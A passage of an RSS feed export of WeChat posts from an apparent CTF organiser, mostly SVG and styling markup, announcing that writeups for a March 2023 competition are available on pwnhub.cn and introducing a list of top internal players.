0.58 1.0; 0.42 0 0.58 1.0" keyTimes="0; 0.0004; 0.0004; 0.0008; 1" restart="never" type="scale" values="1; 2; 2; 4; 4"></animateTransform><animate key:vsersion="2B1VW4EFG9584" attributeName="opacity" begin="click+0.4s" calcMode="spline" dur="1000s" fill="freeze" keySplines="0.42 0 0.58 1.0; 0.42 0 0.58 1.0" keyTimes="0; 0.0004; 1" restart="never" values="1; 0; 0"></animate><foreignObject x="-500" y="-888.5" width="1000" height="1777"><svg space="default" style="width: 100%;vertical-align: top;user-select: none;pointer-events: none;background-size: cover;background-repeat: no-repeat;background-position: center top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMuojD4VRnzQGVOz4vvsBMcyaAicia9YFoVehMTnwEAKicjYtxRt9THsj1MTVr6HUcW1QFcOv6YA12EUkA/640?wx_fmt=png&amp;from=appmsg&#34;);" viewBox="0 0 1000 1777" vsersion="2U1JK4FGH9584" xml=""></svg></foreignObject><rect x="-500" y="-888.5" width="1000" height="1777" fill="transparent" opacity="0" style="pointer-events: painted;"><animate key:vsersion="2B1VW4EFG9584" attributeName="x" begin="click" dur="1ms" values="100000" fill="freeze" restart="never"></animate><set attributeName="visibility" fill="freeze" restart="never" to="hidden" begin="click" dur="1ms"></set></rect></g></g></svg></section><section style="display: inline;margin: 0 !important;padding: 0;font-size: 0;line-height: 0;"><svg space="default" style="width: 100.1%;vertical-align: top;user-select: none;pointer-events: none;display: inline-block;box-sizing: border-box;background-size: cover;background-repeat: no-repeat;background-position: center top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMuojD4VRnzQGVOz4vvsBMcyaiaSXr6jgU8sFAq62VGBQgjJuLVunrcODyO7SJo2gY5jn46cdRPruEww/640?wx_fmt=png&amp;from=appmsg&#34;);transform: scale(1);-webkit-tap-highlight-color: transparent;max-width: none !important;" viewBox="0 0 1000 1777" vsersion="2U1JK4FGH9584" xml=""><animate key:vsersion="2B1VW4EFG9584" attributeName="width" begin="click+0.8s" dur="1000s" fill="freeze" restart="never" values="0"></animate><animate key:vsersion="2B1VW4EFG9584" attributeName="height" begin="click+0.8s" dur="1000s" fill="freeze" restart="never" values="0"></animate><g transform="translate(500 888.5)"><g><animateTransform attributeName="transform" begin="click" calcMode="spline" dur="1000s" keySplines="0.42 0 0.58 1.0; 0.42 0 0.58 1.0; 0.42 0 0.58 1.0; 0.42 0 0.58 1.0" keyTimes="0; 0.0004; 0.0004; 0.0008; 1" restart="never" type="scale" values="1; 2; 2; 4; 4"></animateTransform><animate key:vsersion="2B1VW4EFG9584" attributeName="opacity" begin="click+0.4s" calcMode="spline" dur="1000s" fill="freeze" keySplines="0.42 0 0.58 1.0; 0.42 0 0.58 1.0" keyTimes="0; 0.0004; 1" restart="never" values="1; 0; 0"></animate><foreignObject x="-500" y="-888.5" width="1000" height="1777"><svg space="default" style="width: 100%;vertical-align: top;user-select: none;pointer-events: none;background-size: cover;background-repeat: no-repeat;background-position: center top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMuojD4VRnzQGVOz4vvsBMcya4QC54DicSDfhHh0haZX5tGY60my9ibmkzFQhibu0lhkmlvFMArseBEjpQ/640?wx_fmt=png&amp;from=appmsg&#34;);" viewBox="0 0 1000 1777" vsersion="2U1JK4FGH9584" xml=""></svg></foreignObject><rect x="-500" y="-888.5" width="1000" height="1777" fill="transparent" opacity="0" style="pointer-events: painted;"><animate key:vsersion="2B1VW4EFG9584" attributeName="x" begin="click" dur="1ms" values="100000" fill="freeze" restart="never"></animate><set attributeName="visibility" fill="freeze" restart="never" to="hidden" begin="click" dur="1ms"></set></rect></g></g></svg></section><section style="display: inline;margin: 0 !important;padding: 0;font-size: 0;line-height: 0;"><svg space="default" style="width: 100.1%;vertical-align: top;user-select: none;pointer-events: none;display: inline-block;box-sizing: border-box;background-size: cover;background-repeat: no-repeat;background-position: center top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMuojD4VRnzQGVOz4vvsBMcya8VY2Qo5urDFianYoSibt2xpCpmwHwOxDHgicu8eHsHK0kJolibMQs5jHCQ/640?wx_fmt=png&amp;from=appmsg&#34;);transform: scale(1);-webkit-tap-highlight-color: transparent;max-width: none !important;" viewBox="0 0 1000 1777" vsersion="2U1JK4FGH9584" xml=""><animate key:vsersion="2B1VW4EFG9584" attributeName="width" begin="click+0.8s" dur="1000s" fill="freeze" restart="never" values="0"></animate><animate key:vsersion="2B1VW4EFG9584" attributeName="height" begin="click+0.8s" dur="1000s" fill="freeze" restart="never" values="0"></animate><g transform="translate(500 888.5)"><g><animateTransform attributeName="transform" begin="click" calcMode="spline" dur="1000s" keySplines="0.42 0 0.58 1.0; 0.42 0 0.58 1.0; 0.42 0 0.58 1.0; 0.42 0 0.58 1.0" keyTimes="0; 0.0004; 0.0004; 0.0008; 1" restart="never" type="scale" values="1; 2; 2; 4; 4"></animateTransform><animate key:vsersion="2B1VW4EFG9584" attributeName="opacity" begin="click+0.4s" calcMode="spline" dur="1000s" fill="freeze" keySplines="0.42 0 0.58 1.0; 0.42 0 0.58 1.0" keyTimes="0; 0.0004; 1" restart="never" values="1; 0; 0"></animate><foreignObject x="-500" y="-888.5" width="1000" height="1777"><svg space="default" style="width: 100%;vertical-align: top;user-select: none;pointer-events: none;background-size: cover;background-repeat: no-repeat;background-position: center top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMuojD4VRnzQGVOz4vvsBMcyaiaSXr6jgU8sFAq62VGBQgjJuLVunrcODyO7SJo2gY5jn46cdRPruEww/640?wx_fmt=png&amp;from=appmsg&#34;);" viewBox="0 0 1000 1777" vsersion="2U1JK4FGH9584" xml=""></svg></foreignObject><rect x="-500" y="-888.5" width="1000" height="1777" fill="transparent" opacity="0" style="pointer-events: painted;"><animate key:vsersion="2B1VW4EFG9584" attributeName="x" begin="click" dur="1ms" values="100000" fill="freeze" restart="never"></animate><set attributeName="visibility" fill="freeze" restart="never" to="hidden" begin="click" dur="1ms"></set></rect></g></g></svg></section><section style="display: inline;margin: 0 !important;padding: 0;font-size: 0;line-height: 0;"><svg space="default" style="width: 100.1%;vertical-align: top;user-select: none;pointer-events: none;display: inline-block;box-sizing: border-box;background-size: cover;background-repeat: no-repeat;background-position: center top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMuojD4VRnzQGVOz4vvsBMcyapSK44ibte1QVGGo9ickjvIdBnHypdCjyfA9W26QEqFdFMiaYg71ILzDIw/640?wx_fmt=png&amp;from=appmsg&#34;);transform: scale(1);-webkit-tap-highlight-color: transparent;max-width: none !important;" viewBox="0 0 1000 1777" vsersion="2U1JK4FGH9584" xml=""><animate key:vsersion="2B1VW4EFG9584" attributeName="width" begin="click+0.8s" dur="1000s" fill="freeze" restart="never" values="0"></animate><animate key:vsersion="2B1VW4EFG9584" attributeName="height" begin="click+0.8s" dur="1000s" fill="freeze" restart="never" values="0"></animate><g transform="translate(500 888.5)"><g><animateTransform attributeName="transform" begin="click" calcMode="spline" dur="1000s" keySplines="0.42 0 0.58 1.0; 0.42 0 0.58 1.0; 0.42 0 0.58 1.0; 0.42 0 0.58 1.0" keyTimes="0; 0.0004; 0.0004; 0.0008; 1" restart="never" type="scale" values="1; 2; 2; 4; 4"></animateTransform><animate key:vsersion="2B1VW4EFG9584" attributeName="opacity" begin="click+0.4s" calcMode="spline" dur="1000s" fill="freeze" keySplines="0.42 0 0.58 1.0; 0.42 0 0.58 1.0" keyTimes="0; 0.0004; 1" restart="never" values="1; 0; 0"></animate><foreignObject x="-500" y="-888.5" width="1000" height="1777"><svg space="default" style="width: 100%;vertical-align: top;user-select: none;pointer-events: none;background-size: cover;background-repeat: no-repeat;background-position: center top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMuojD4VRnzQGVOz4vvsBMcya8VY2Qo5urDFianYoSibt2xpCpmwHwOxDHgicu8eHsHK0kJolibMQs5jHCQ/640?wx_fmt=png&amp;from=appmsg&#34;);" viewBox="0 0 1000 1777" vsersion="2U1JK4FGH9584" xml=""></svg></foreignObject><rect x="-500" y="-888.5" width="1000" height="1777" fill="transparent" opacity="0" style="pointer-events: painted;"><animate key:vsersion="2B1VW4EFG9584" attributeName="x" begin="click" dur="1ms" values="100000" fill="freeze" restart="never"></animate><set attributeName="visibility" fill="freeze" restart="never" to="hidden" begin="click" dur="1ms"></set></rect></g></g></svg></section><section style="display: inline;margin: 0 !important;padding: 0;font-size: 0;line-height: 0;"><svg space="default" style="width: 100.1%;vertical-align: top;user-select: none;pointer-events: none;display: inline-block;box-sizing: border-box;background-size: cover;background-repeat: no-repeat;background-position: center top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMuojD4VRnzQGVOz4vvsBMcya9ZibFGtNrM2uXjMl8ibBIiakVuicFITicwxzh21c1t6Yaia1LVYUtsfaYZKA/640?wx_fmt=png&amp;from=appmsg&#34;);transform: scale(1);-webkit-tap-highlight-color: transparent;max-width: none !important;" viewBox="0 0 1000 1777" vsersion="2U1JK4FGH9584" xml=""><animate key:vsersion="2B1VW4EFG9584" attributeName="width" begin="click+0.8s" dur="1000s" fill="freeze" restart="never" values="0"></animate><animate key:vsersion="2B1VW4EFG9584" attributeName="height" begin="click+0.8s" dur="1000s" fill="freeze" restart="never" values="0"></animate><g transform="translate(500 888.5)"><g><animateTransform attributeName="transform" begin="click" calcMode="spline" dur="1000s" keySplines="0.42 0 0.58 1.0; 0.42 0 0.58 1.0; 0.42 0 0.58 1.0; 0.42 0 0.58 1.0" keyTimes="0; 0.0004; 0.0004; 0.0008; 1" restart="never" type="scale" values="1; 2; 2; 4; 4"></animateTransform><animate key:vsersion="2B1VW4EFG9584" attributeName="opacity" begin="click+0.4s" calcMode="spline" dur="1000s" fill="freeze" keySplines="0.42 0 0.58 1.0; 0.42 0 0.58 1.0" keyTimes="0; 0.0004; 1" restart="never" values="1; 0; 0"></animate><foreignObject x="-500" y="-888.5" width="1000" height="1777"><svg space="default" style="width: 100%;vertical-align: top;user-select: none;pointer-events: none;background-size: cover;background-repeat: no-repeat;background-position: center top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMuojD4VRnzQGVOz4vvsBMcyapSK44ibte1QVGGo9ickjvIdBnHypdCjyfA9W26QEqFdFMiaYg71ILzDIw/640?wx_fmt=png&amp;from=appmsg&#34;);" viewBox="0 0 1000 1777" vsersion="2U1JK4FGH9584" xml=""></svg></foreignObject><rect x="-500" y="-888.5" width="1000" height="1777" fill="transparent" opacity="0" style="pointer-events: painted;"><animate key:vsersion="2B1VW4EFG9584" attributeName="x" begin="click" dur="1ms" values="100000" fill="freeze" restart="never"></animate><set attributeName="visibility" fill="freeze" restart="never" to="hidden" begin="click" dur="1ms"></set></rect></g></g></svg></section><section style="display: inline;margin: 0 !important;padding: 0;font-size: 0;line-height: 0;"><svg space="default" style="width: 100.1%;vertical-align: top;user-select: none;pointer-events: none;display: inline-block;box-sizing: border-box;background-size: cover;background-repeat: no-repeat;background-position: center top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMuojD4VRnzQGVOz4vvsBMcyaOsQ1XklAibaN8zw7d24ft3Ag7CJSfMLkeLsiaibpco2ia4YmDgmYtSDkkg/640?wx_fmt=png&amp;from=appmsg&#34;);transform: scale(1);-webkit-tap-highlight-color: transparent;max-width: none !important;" viewBox="0 0 1000 1777" vsersion="2U1JK4FGH9584" xml=""><animate key:vsersion="2B1VW4EFG9584" attributeName="width" begin="click+0.8s" dur="1000s" fill="freeze" restart="never" values="0"></animate><animate key:vsersion="2B1VW4EFG9584" attributeName="height" begin="click+0.8s" dur="1000s" fill="freeze" restart="never" values="0"></animate><g transform="translate(500 888.5)"><g><animateTransform attributeName="transform" begin="click" calcMode="spline" dur="1000s" keySplines="0.42 0 0.58 1.0; 0.42 0 0.58 1.0; 0.42 0 0.58 1.0; 0.42 0 0.58 1.0" keyTimes="0; 0.0004; 0.0004; 0.0008; 1" restart="never" type="scale" values="1; 2; 2; 4; 4"></animateTransform><animate key:vsersion="2B1VW4EFG9584" attributeName="opacity" begin="click+0.4s" calcMode="spline" dur="1000s" fill="freeze" keySplines="0.42 0 0.58 1.0; 0.42 0 0.58 1.0" keyTimes="0; 0.0004; 1" restart="never" values="1; 0; 0"></animate><foreignObject x="-500" y="-888.5" width="1000" height="1777"><svg space="default" style="width: 100%;vertical-align: top;user-select: none;pointer-events: none;background-size: cover;background-repeat: no-repeat;background-position: center top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMuojD4VRnzQGVOz4vvsBMcya9ZibFGtNrM2uXjMl8ibBIiakVuicFITicwxzh21c1t6Yaia1LVYUtsfaYZKA/640?wx_fmt=png&amp;from=appmsg&#34;);" viewBox="0 0 1000 1777" vsersion="2U1JK4FGH9584" xml=""></svg></foreignObject><rect x="-500" y="-888.5" width="1000" height="1777" fill="transparent" opacity="0" style="pointer-events: painted;"><animate key:vsersion="2B1VW4EFG9584" attributeName="x" begin="click" dur="1ms" values="100000" fill="freeze" restart="never"></animate><set attributeName="visibility" fill="freeze" restart="never" to="hidden" begin="click" dur="1ms"></set></rect></g></g></svg></section><section style="display: inline;margin: 0 !important;padding: 0;font-size: 0;line-height: 0;"><svg space="default" style="width: 100.1%;vertical-align: top;user-select: none;pointer-events: none;display: inline-block;box-sizing: border-box;background-size: cover;background-repeat: no-repeat;background-position: center top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMuojD4VRnzQGVOz4vvsBMcyauMNtiaicB3weqjRduJJBfC7llMkmARqmg9yWqQmqZsVRNoia8gSW0kQSw/640?wx_fmt=png&amp;from=appmsg&#34;);transform: scale(1);-webkit-tap-highlight-color: transparent;max-width: none !important;" viewBox="0 0 1000 1777" vsersion="2U1JK4FGH9584" xml=""><animate key:vsersion="2B1VW4EFG9584" attributeName="width" begin="click+0.8s" dur="1000s" fill="freeze" restart="never" values="0"></animate><animate key:vsersion="2B1VW4EFG9584" attributeName="height" begin="click+0.8s" dur="1000s" fill="freeze" restart="never" values="0"></animate><g transform="translate(500 888.5)"><g><animateTransform attributeName="transform" begin="click" calcMode="spline" dur="1000s" keySplines="0.42 0 0.58 1.0; 0.42 0 0.58 1.0; 0.42 0 0.58 1.0; 0.42 0 0.58 1.0" keyTimes="0; 0.0004; 0.0004; 0.0008; 1" restart="never" type="scale" values="1; 2; 2; 4; 4"></animateTransform><animate key:vsersion="2B1VW4EFG9584" attributeName="opacity" begin="click+0.4s" calcMode="spline" dur="1000s" fill="freeze" keySplines="0.42 0 0.58 1.0; 0.42 0 0.58 1.0" keyTimes="0; 0.0004; 1" restart="never" values="1; 0; 0"></animate><foreignObject x="-500" y="-888.5" width="1000" height="1777"><svg space="default" style="width: 100%;vertical-align: top;user-select: none;pointer-events: none;background-size: cover;background-repeat: no-repeat;background-position: center top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMuojD4VRnzQGVOz4vvsBMcyaOsQ1XklAibaN8zw7d24ft3Ag7CJSfMLkeLsiaibpco2ia4YmDgmYtSDkkg/640?wx_fmt=png&amp;from=appmsg&#34;);" viewBox="0 0 1000 1777" vsersion="2U1JK4FGH9584" xml=""></svg></foreignObject><rect x="-500" y="-888.5" width="1000" height="1777" fill="transparent" opacity="0" style="pointer-events: painted;"><animate key:vsersion="2B1VW4EFG9584" attributeName="x" begin="click" dur="1ms" values="100000" fill="freeze" restart="never"></animate><set attributeName="visibility" fill="freeze" restart="never" to="hidden" begin="click" dur="1ms"></set></rect></g></g></svg></section><section style="display: inline;margin: 0 !important;padding: 0;font-size: 0;line-height: 0;"><svg space="default" style="width: 100.1%;vertical-align: top;user-select: none;pointer-events: none;display: inline-block;box-sizing: border-box;background-size: cover;background-repeat: no-repeat;background-position: center top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_jpg/Fuleibl6qMuojD4VRnzQGVOz4vvsBMcyaEWXyVOaVVa4mm56gSqv7P56ttFsIjNy0aXW4HMm6zia5AHMMopRFvVw/640?wx_fmt=jpeg&amp;from=appmsg&#34;);transform: scale(1);-webkit-tap-highlight-color: transparent;max-width: none !important;" viewBox="0 0 1000 1777" vsersion="2U1JK4FGH9584" xml=""><animate key:vsersion="2B1VW4EFG9584" attributeName="opacity" begin="click+0.8s" dur="1s" fill="freeze" restart="never" values="0"></animate><animate key:vsersion="2B1VW4EFG9584" attributeName="width" begin="click+0.8s" calcMode="spline" dur="1000s" fill="freeze" keySplines="0.4 0 0.6 1; 0.4 0 0.6 1" keyTimes="0; 0.0012; 1" restart="never" values="100%; 335.8710507275505%; 335.8710507275505%"></animate><g transform="translate(500 888.5)"><g><animateTransform attributeName="transform" begin="click" calcMode="spline" dur="1000s" keySplines="0.42 0 0.58 1.0; 0.42 0 0.58 1.0; 0.42 0 0.58 1.0; 0.42 0 0.58 1.0" keyTimes="0; 0.0004; 0.0004; 0.0008; 1" restart="never" type="scale" values="1; 2; 2; 4; 4"></animateTransform><animate key:vsersion="2B1VW4EFG9584" attributeName="opacity" begin="click+0.4s" calcMode="spline" dur="1000s" fill="freeze" keySplines="0.42 0 0.58 1.0; 0.42 0 0.58 1.0" keyTimes="0; 0.0004; 1" restart="never" values="1; 0; 0"></animate><foreignObject x="-500" y="-888.5" width="1000" height="1777"><svg space="default" style="width: 100%;vertical-align: top;user-select: none;pointer-events: none;background-size: cover;background-repeat: no-repeat;background-position: center top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/Fuleibl6qMuojD4VRnzQGVOz4vvsBMcyauMNtiaicB3weqjRduJJBfC7llMkmARqmg9yWqQmqZsVRNoia8gSW0kQSw/640?wx_fmt=png&amp;from=appmsg&#34;);" viewBox="0 0 1000 1777" vsersion="2U1JK4FGH9584" xml=""></svg></foreignObject><rect x="-500" y="-888.5" width="1000" height="1777" fill="transparent" opacity="0" style="pointer-events: painted;"><animate key:vsersion="2B1VW4EFG9584" attributeName="x" begin="click" dur="1ms" values="100000" fill="freeze" restart="never"></animate><set attributeName="visibility" fill="freeze" restart="never" to="hidden" begin="click" dur="1ms"></set></rect></g></g></svg></section></section></section></section></section></section></section><p><br/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://realworldctf.cn/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0972e883&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2OTUzMzg3Ng%3D%3D%26mid%3D2247501418%26idx%3D1%26sn%3Db0a2da3a3c97ba02b9939ea06ecd3c8d%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 29 Dec 2023 17:00:00 +0800</pubDate>
    </item>
    <item>
      <title>三月比赛writeup｜快来领取</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI2OTUzMzg3Ng==&amp;mid=2247501413&amp;idx=1&amp;sn=071bf67348d1ec0f0f49d3704d3af876</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2023-03-15 18:20</span> <span style="display: inline-block;">北京</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=429ffd0e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0YUnd2zZNoznWpqWSs6wictAt1wMsnicdGscLV1JWMwy00m2qicxrhnafYlHAB8LH7P8FUpIiaZPciag3A%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="margin-bottom: 0px;outline: 0px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;line-height: 1.75em;visibility: visible;" data-mpa-powered-by="yiban.io"><span style="outline: 0px;font-family: Optima-Regular, PingFangTC-light;font-size: 16px;visibility: visible;">胖哈勃三月份</span></section><section style="margin-bottom: 0px;outline: 0px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;line-height: 1.75em;visibility: visible;"><span style="outline: 0px;font-family: Optima-Regular, PingFangTC-light;font-size: 16px;visibility: visible;">公开赛&amp;内部赛完结</span></section><section style="margin-bottom: 0px;outline: 0px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;line-height: 1.75em;visibility: visible;"><span style="outline: 0px;font-family: Optima-Regular, PingFangTC-light;font-size: 16px;visibility: visible;">再次感谢各位胖友们的支持🎉🎉</span></section><section style="margin-bottom: 0px;outline: 0px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;line-height: 1.75em;visibility: visible;"><span style="outline: 0px;font-family: Optima-Regular, PingFangTC-light;font-size: 16px;visibility: visible;"><br/></span></section><section style="margin-bottom: 0px;outline: 0px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;line-height: 1.75em;visibility: visible;"><span style="outline: 0px;font-family: Optima-Regular, PingFangTC-light;font-size: 16px;visibility: visible;">公开赛&amp;内部赛writeup已整理完毕</span></section><section style="margin-bottom: 0px;outline: 0px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;line-height: 1.75em;visibility: visible;"><span style="outline: 0px;font-family: Optima-Regular, PingFangTC-light;font-size: 16px;visibility: visible;">内部赛--&gt;</span></section><section style="margin-bottom: 0px;outline: 0px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;line-height: 1.75em;visibility: visible;"><span style="letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">请访问比赛平台及时</span><strong style="letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">领取</strong></section><section style="margin-bottom: 0px;outline: 0px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;line-height: 1.75em;visibility: visible;"><span style="outline: 0px;font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 128, 255);font-size: 16px;visibility: visible;"><a href="https://pwnhub.cn/gamedetail?id=51" target="_blank">https://pwnhub.cn/gamedetail?id=51</a></span></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-category="模板" style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;width: 100%;padding: 18px 18px 10px 18px;" data-mid="" mpa-from-tpl="t"><section style="width: 223px;height: 55px;margin-bottom: -48px;z-index: 2;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.24663677130044842" style="display: block;" data-w="446" src="https://wechat2rss.xlab.app/img-proxy/?k=73b4ddce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FR5IEcaPcIPEyRRriauh4pkqG8OjXO9k8752OiavRa0fibUGZjYAy19JBar4EY7M7cicnjlcC3y1y9PYlF2ls3Yiafcg%2F640%3Fwx_fmt%3Dpng"/></section><section style="width: 85px;height: 79px;align-self: flex-end;margin-right: -24px;margin-bottom: -44px;z-index: 1;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.9294117647058824" style="display: block;" data-w="170" src="https://wechat2rss.xlab.app/img-proxy/?k=a4ef1ddf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvSDkwLu7uZPnaS4EOib9nrVr3IdwHF7G8Plf30aBfyjkmchpI5liaictE04VqRYSKqQEpktic6piccbwyHwwxL64KDA%2F640%3Fwx_fmt%3Dpng"/></section><section style="width: 100%;background: rgb(122, 191, 255);border-radius: 5px;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 18px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;background: #FFFFFF;border-radius: 5px;padding: 2px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;border-radius: 5px;border-width: 1px;border-style: dashed;border-color: rgb(0, 0, 0);padding: 14px 18px 18px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="width: 39px;height: 8px;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.20512820512820512" style="display: block;" data-w="78" src="https://wechat2rss.xlab.app/img-proxy/?k=84e47ef2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FOjMrVKQib2FFh6XDh79XMks9jOuCvjuiav0aQ1cwCRy4AWvcRdIemibopAXwic1j4p9ILIiazcUYNDC6sjicxXy9I2cQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;margin: 0px 8px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 22px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFCA00;line-height: 30px;" data-mid="">2023</p></section><section style="width: 39px;height: 8px;transform: rotate(180deg);" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.20512820512820512" style="display: block;" data-w="78" src="https://wechat2rss.xlab.app/img-proxy/?k=5f9db231&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FRWAQgcwLRFQtcxOdiaWIgRMVrhNbEehj9CeaJ4DrSkibqf1XaW6zfUkg6tM22YiaughOhXgSIOG6nuaTIlFTrk3CQ%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="text-align: center;" data-mid="" mpa-from-tpl="t"><p style="font-size: 38px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 59px;text-shadow: 2px 2px 0px #000000;-webkit-text-stroke: 1px #000000;text-stroke: 1px #000000;" data-mid="">内部赛前五名选手名单</p></section><section style="text-align: center;" data-mid="" mpa-from-tpl="t"><p style="font-size: 12px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(59, 150, 235);line-height: 17px;" data-mid=""><br/></p></section></section></section></section><section style="background: rgb(255, 225, 84);border-radius: 3px 3px 0px 0px;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);text-align: center;padding: 0px 40px;margin-top: -37px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 14px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 35px;letter-spacing: 2px;text-shadow: 1px 1px 0px #000000, 1px 0px 0px #070707, 0px 1px 0px #000000, 0px -1px 0px #000000, -1px 0px 0px #000000, -1px 1px 0px #000000, 1px -1px 0px #000000, -1px -1px 0px #000000;" data-mid="">快来领取你的奖品</p></section><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;width: 100%;margin-top: 8px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;height: 13px;background: rgb(255, 225, 84);border-radius: 8px;border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);padding: 0px 8px;margin-bottom: -10px;box-sizing: content-box !important;" data-mid="" mpa-from-tpl="t"><br/></section><section style="background: rgb(255, 255, 255);border-width: 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-left-style: solid;border-top-color: rgb(51, 51, 51);border-right-color: rgb(51, 